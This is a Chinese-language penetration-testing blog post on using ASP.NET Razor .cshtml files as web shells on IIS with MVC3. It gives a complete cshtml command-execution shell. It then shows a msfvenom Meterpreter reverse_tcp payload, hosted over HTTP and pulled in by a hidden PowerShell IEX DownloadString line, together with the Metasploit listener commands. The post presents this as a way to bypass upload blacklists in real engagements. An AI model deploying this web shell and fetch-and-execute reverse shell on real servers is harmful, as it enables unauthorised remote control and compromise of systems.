MENU

cshtml在渗透中的利用

November 17, 2019 • 渗透测试

0x01 什么是cshtml

cshtml 是 MVC3 之后新增的视图文件,跟aspx很相似,主要是因为俩者之间的解析引擎不同,aspx 采用的是 WebForm Engine,而 cshtml 则是 Razor Rendering Engine。

只能在 MVC3 或更高版本等支持 Razor 的框架里使用 cshtml。

0x02 测试环境

  • windows 2008 r2
  • iis7.0
  • .Net farmework4.0
  • .net Mvc3

0x03 实战操练

iis的搭建我就不再文中赘述了,网上呢有很多教程,可自行查阅,首先搭建好一个iis7.0的web服务,正常访问页面是这样子的

1.png

然后安装好.net farmework 4.0 和 .net mvc3

在应用程序池中设置.net farmework版本为4.0

2.png

将web服务重启,访问cshtml文件

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
string ExecuteCommand(string command, string arguments = null)
{
var output = new System.Text.StringBuilder();
var process = new Process();
var startInfo = new ProcessStartInfo
{
FileName = command,
Arguments = arguments,
WorkingDirectory = HttpRuntime.AppDomainAppPath,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
process.StartInfo = startInfo;
process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
                process.Start();
process.BeginOutputReadLine();
process.BeginErrorReadLine();
process.WaitForExit();
return output.ToString();
}
}
      @{
var cmd = ExecuteCommand("cmd.exe", "/c whoami /all");
        }

@cmd

然后即可看到如下的界面,已经成功执行了whoami /all。

3.png

如果没安装.net mvc3 则页面报错,如下图

4.png

如果不是.net farmework 4.0启动,那就是404,找不到这个文件,就不放图了。

0x04 利用cshtml进行反弹shell

首先主要的还是使用msf生成一个ps文件,利用命令执行调用powershell下载执行上线

生成ps1:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.181.130 LPORT=23333 -f psh-reflection > test666.ps1

开启web服务,确保能够让他下载,这里使用python

python -m SimpleHTTPServer 8888

然后将下载的地址写入到cshtml代码里,如下代码(只截取核心部分)

    @{
var cmd = ExecuteCommand("cmd.exe", "/c powershell -windowstyle hidden -exec bypass -c \"IEX (New-Object Net.WebClient).DownloadString('http://公网ip:8888/test666.ps1');test666.ps1\"");
        }

保存之后,回到msf,开启监听

use exploit/multi/handler
set lhost xxx
set lport xx
set payload windows/x64/meterpreter/reverse_tcp
run

如下图,访问cshtml文件,成功上线

5.png

0x05 总结

这个方法呢,必须满足mvc3 以上的框架,在.net farmework 4..0启动(我测试是这个环境,其他未测试,如有不对,可留言),一般可以用于实战中文件上传黑名单的绕过。